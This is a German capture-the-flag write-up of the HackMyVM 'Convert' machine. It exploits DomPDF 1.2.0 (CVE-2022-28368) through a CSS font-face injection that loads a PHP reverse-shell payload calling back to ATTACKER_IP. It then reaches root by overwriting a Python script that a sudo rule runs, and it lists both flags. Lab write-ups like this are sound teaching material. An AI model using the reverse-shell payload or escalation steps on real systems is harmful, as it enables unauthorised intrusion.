- VM: Convert
- Plattform: HackMyVM
- Schwierigkeit: Easy
- Autor der VM: DarkSpirit
- Datum des Writeups: 7. Mai 2024
- Original-Writeup: https://alientec1908.github.io/Convert_HackMyVM_Easy/
- Autor: Ben C.
Die virtuelle Maschine "Convert" von HackMyVM (Schwierigkeitsgrad: Easy) wurde durch die Ausnutzung einer Remote Code Execution (RCE) Schwachstelle in der PDF-Generierungsbibliothek DomPDF (Version 1.2.0, CVE-2022-28368) kompromittiert. Durch das Einschleusen einer präparierten CSS-Datei, die ihrerseits eine manipulierte Font-Datei (mit PHP-Reverse-Shell-Code) von einem externen Server lud, wurde initialer Zugriff als Benutzer eva erlangt. Die Privilegienerweiterung zu Root erfolgte durch die Ausnutzung einer unsicheren sudo-Regel, die es eva erlaubte, ein Python-Skript in ihrem Home-Verzeichnis als Root auszuführen. Dieses Skript konnte manipuliert werden, um eine Root-Shell zu starten.
Die in diesem Writeup beschriebenen Techniken und Werkzeuge dienen ausschließlich zu Bildungszwecken im Rahmen von legalen Capture-The-Flag (CTF)-Wettbewerben und Penetrationstests auf Systemen, für die eine ausdrückliche Genehmigung vorliegt. Die Anwendung dieser Methoden auf Systeme ohne Erlaubnis ist illegal. Der Autor übernimmt keine Verantwortung für missbräuchliche Verwendung der hier geteilten Informationen. Handeln Sie stets ethisch und verantwortungsbewusst.
arp-scanvi/nanodirbnmapniktogobusterwgetstringspython3 http.serverechoexiftoolcurl- Online Morse Decoder (nicht im Log, aber erwähnt im Tool-Verzeichnis – hier nicht direkt relevant)
findcpcatmd5sumpip3(nicht im Log, aber erwähnt im Tool-Verzeichnis)python3(für Shell-Stabilisierung und Exploit)nc(netcat)- Standard Linux-Befehle (
ls,mkdir,id,sudo,rm,bash,ssh,cd)
Der Angriff auf die Maschine "Convert" erfolgte in diesen Phasen:
-
Reconnaissance & Web Enumeration:
- Ziel-IP (
192.168.2.119, Hostnameconvert.hmv) viaarp-scanund/etc/hostsidentifiziert. nmapzeigte offene Ports 22 (SSH 9.2p1) und 80 (Nginx 1.22.1, Titel "HTML to PDF").dirbundgobusterfanden/index.phpund das Verzeichnis/upload/.- Eine generierte PDF-Datei im
/upload/-Verzeichnis wurde heruntergeladen.exiftoolundstringszeigten, dass die PDF mitdompdf 1.2.0 + CPDFerstellt wurde. - Fehlermeldungen bei der Konvertierung deuteten auf den Webroot-Pfad (
/var/www/html/) und eine mögliche SSRF-Anfälligkeit hin.
- Ziel-IP (
-
Initial Access (DomPDF RCE - CVE-2022-28368):
- Die DomPDF-Version 1.2.0 ist anfällig für RCE via CSS Font-Face Injection (CVE-2022-28368).
- Vorbereitung auf Angreifer-Seite:
- Eine bösartige CSS-Datei (
evil.css) wurde erstellt, die eine@font-face-Regel enthielt, welche eine PHP-Datei von einem Angreifer-Server als Font-Quelle lud (src: url('http://ATTACKER_IP:9001/evil.php');). - Eine PHP-Datei (
evil.php) wurde erstellt, die eine Bash-Reverse-Shell-Payload enthielt (<?php system("bash -i >& /dev/tcp/ATTACKER_IP:4444 0>&1'"); ?>). Um von DomPDF als Font erkannt zu werden, wurde diese Payload in eine legitime.ttf-Datei eingebettet oder die Datei wurde als.phpmit Font-ähnlichem Inhalt gespeichert. - Ein Python-HTTP-Server wurde auf Port 9001 gestartet, um
evil.cssundevil.phpbereitzustellen. - Ein Netcat-Listener wurde auf Port 4444 gestartet, um die Reverse Shell zu empfangen.
- Eine bösartige CSS-Datei (
- Exploit-Ausführung:
- Eine
index.html-Datei wurde auf dem Angreifer-Server erstellt, die nur einen Link zurevil.cssenthielt: ``. - Ein weiterer Python-HTTP-Server wurde auf Port 8000 gestartet, um diese
index.htmlbereitzustellen. - Die URL dieser
index.html(http://ATTACKER_IP:8000/index.html) wurde an die Konvertierungsfunktion vonconvert.hmvübergeben (impliziert durch die Server-Logs).
- Eine
- DomPDF auf
convert.hmvlud dieindex.htmlvom Angreifer, welche dieevil.cssnachlud. Dieevil.csswies DomPDF an,evil.php(die PHP-Reverse-Shell) als Font zu laden und auszuführen. - Eine Reverse Shell als Benutzer
evawurde erfolgreich etabliert.
-
Privilege Escalation (eva zu root via sudo python):
- Die Shell als
evawurde stabilisiert und SSH-Zugriff eingerichtet. - Die User-Flag wurde aus
/home/eva/user.txtgelesen. - Im Home-Verzeichnis von
evabefand sich ein Python-Skriptpdfgen.py. sudo -lfürevazeigte:(ALL : ALL) NOPASSWD: /usr/bin/python3 /home/eva/pdfgen.py *.- Da
evaSchreibrechte auf ihr eigenes Home-Verzeichnis und somit aufpdfgen.pyhatte, wurde die Datei manipuliert. - Der Inhalt von
/home/eva/pdfgen.pywurde durchimport os; os.system("/bin/bash")ersetzt. - Durch Ausführung von
sudo -u root /usr/bin/python3 /home/eva/pdfgen.py beliebiger_textwurde das manipulierte Skript alsrootausgeführt, was zu einer Root-Shell führte. - Die Root-Flag wurde aus
/root/root.txtgelesen.
- Die Shell als
- Veraltete Software (DomPDF 1.2.0): Anfällig für RCE (CVE-2022-28368) durch CSS Font-Face Injection.
- Server-Side Request Forgery (SSRF) in PDF-Generierung: Die Anwendung versuchte, URLs intern aufzulösen, was den Exploit ermöglichte.
- Unsichere
sudo-Konfiguration: Erlaubte die Ausführung eines Python-Skripts, auf das der Benutzer Schreibrechte hatte, alsroot. Dies ist ein klassischer Vektor für Privilege Escalation. - Informationslecks: Fehlermeldungen gaben den Webroot-Pfad preis.
- Directory Browsing (impliziert durch Upload-Verzeichnis-Struktur).
- User Flag (
/home/eva/user.txt):f2be48d6f922bfc0a9bf45b22887c10d - Root Flag (
/root/root.txt):1cc872dad04d177e6732abbedf1e525b
HackMyVM, Convert, Easy, DomPDF, CVE-2022-28368, RCE, CSS Injection, SSRF, Web, Sudo Privilege Escalation, Python, Linux
